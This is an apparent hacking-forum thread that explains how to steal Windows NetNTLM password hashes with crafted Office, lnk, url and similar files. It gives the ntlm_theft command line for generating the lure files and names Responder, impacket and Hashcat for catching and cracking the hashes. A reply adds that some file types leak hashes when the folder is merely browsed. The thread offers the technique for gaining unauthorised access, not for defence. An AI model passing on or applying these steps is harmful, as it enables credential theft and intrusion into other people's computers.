

Forum:[Hack Forums](#)

Thread: [Crack Windows Passwords Using Document](#)

DramaKing - December 27, 2024, 1:01 pm

This is one of my favorite ways to get authenticated access to a Windows PC. You can use an Office document/htm/xml/lnk/url to get an SMB connection and automatic NetNTLM challenge-response 'hash'. The last two only require browsing to the containing folder.

Go to https://github.com/Greenwolf/ntlm_theft and clone the repo. Change to the ntlm_theft directory and run 'python3 ntlm_theft.py -g FILETYPE -s SMB_IP_ADDRESS -f FILE'. You can use Responder or impacket to receive the connections and then crack the hashes with Hashcat.

#XmasOrnament2024

DramaKing - December 27, 2024, 4:59 pm

(Dec 27, 2024 04:07 PM)m0hx Wrote: [\[CITE\]](#) have u seen the one where u place file on desktop and get NTLM hashes sent to you? nothing to execute lol.

Saw it on john hammond yt, i can't remember which vid tho. Its crazy

Thanks for bringing to my attention that I neglected to add that .URL and .lnk will send hashes just by viewing them.